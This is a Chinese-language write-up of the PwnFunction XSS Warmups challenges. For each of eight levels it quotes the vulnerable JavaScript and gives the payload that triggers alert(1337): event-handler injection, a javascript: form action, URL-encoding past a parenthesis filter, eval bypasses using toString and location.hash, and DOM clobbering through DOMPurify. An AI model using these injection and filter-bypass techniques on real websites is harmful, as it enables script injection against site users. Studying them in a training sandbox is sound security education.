XSS Game

1、第一关 Ma Spaghet!

<!-- Challenge -->
<h2 id="spaghet"></h2>
<script>
    spaghet.innerHTML = (new URL(location).searchParams.get('somebody') || "Somebody") + " Toucha Ma Spaghet!"
</script>

Somebody Toucha Ma Spaghet! | XSS Warmups (pwnfunction.com)https://sandbox.pwnfunction.com/warmups/ma-spaghet.html?somebody=%3Cing%20src=1%20οnerrοr=%22alert(1337)%22%3E

可以更换为res.innerText

2、第二关  Jefff

<!-- Challenge -->
<h2 id="maname"></h2>
<script>
    let jeff = (new URL(location).searchParams.get('jeff') || "JEFFF")
    let ma = ""
    eval(`ma = "Ma name ${jeff}"`)
    setTimeout(_ => {
        maname.innerText = ma
    }, 1000)
</script>

结果：

 3、第三关Ugandan Knuckles

<!-- Challenge -->
<div id="uganda"></div>
<script>
    let wey = (new URL(location).searchParams.get('wey') || "do you know da wey?");
    wey = wey.replace(/[<>]/g, '')
    uganda.innerHTML = `<input type="text" placeholder="${wey}" class="form-control">`
</script>

 过滤了“<>”

Ugandan Knuckles | XSS Warmups (pwnfunction.com)https://sandbox.pwnfunction.com/warmups/da-wey.html?wey=aaaaa%22%20οnclick=%22alert(1)

会出现交互，换一种方式

用onfocus // wey=aaaaa"%20οnfοcus=alert(1337)%20autofocus//

先触发autofocus之后在触发οnfοcus=alert(1337)

Ugandan Knuckles | XSS Warmups (pwnfunction.com)

结果：

4、第四关Ricardo Milos

<!-- Challenge -->
<form id="ricardo" method="GET">
    <input name="milos" type="text" class="form-control" placeholder="True" value="True">
</form>
<script>
    ricardo.action = (new URL(location).searchParams.get('ricardo') || '#')
    setTimeout(_ => {
        ricardo.submit()
    }, 2000)
</script>

get传参数

用加  ricardo=javascript:alert(1337) 出结果：

5、第五关Ah That's Hawt

<!-- Challenge -->
<h2 id="will"></h2>
<script>
    smith = (new URL(location).searchParams.get('markassbrownlee') || "Ah That's Hawt")
    smith = smith.replace(/[\(\`\)\\]/g, '')
    will.innerHTML = smith
</script>

正则表达式过滤了什么，（）`\并且是全局过滤，这样一来，不能使用()就对弹窗很不利，那么我首先想到的办法就是编码，利用编码绕过

location="javascript:alert%25281337%2529">

结果：

6、第六关Ligma

/* Challenge */
balls = (new URL(location).searchParams.get('balls') || "Ninja has Ligma")
balls = balls.replace(/[A-Za-z0-9]/g, '')
eval(balls)

代码非常简单，大A到大Z，小A到小Z，0-9不能使用，要用编码。

alert(1)

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用urlcode编码方式。

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结果：

alert(1337)

结果：

7、第七关Mafia

/* Challenge */
mafia = (new URL(location).searchParams.get('mafia') || '1+1')
mafia = mafia.slice(0, 50)
mafia = mafia.replace(/[\`\'\"\+\-\!\\\[\]]/gi, '_')
mafia = mafia.replace(/alert/g, '_')
eval(mafia)

过滤了很多东西

方法：

1  使用js匿名函数

直接定义
   

    var print = function(s){
        console.log(s);
    };
    print(1);9

 使用构造函数

Function` 构造函数**创建一个新的 `Function` **对象**。

结果：

2、用parselnt函数用进制数返回

eval(8680439..toString(30))(1337)

结果：

3、location截取函数

截取#后面的值

eval(location.hash.slice(1))#alert(1)

结果：

8、第八关Ok, Boomer

<!-- Challenge -->
<h2 id="boomer">Ok, Boomer.</h2>
<script>
    boomer.innerHTML = DOMPurify.sanitize(new URL(location).searchParams.get('boomer') || "Ok, Boomer")
    setTimeout(ok, 2000)
</script>

 创造“ok”元素进行调用执行

boomer=<a%20id=ok%20href="tel:alert(1337)">>

 结果：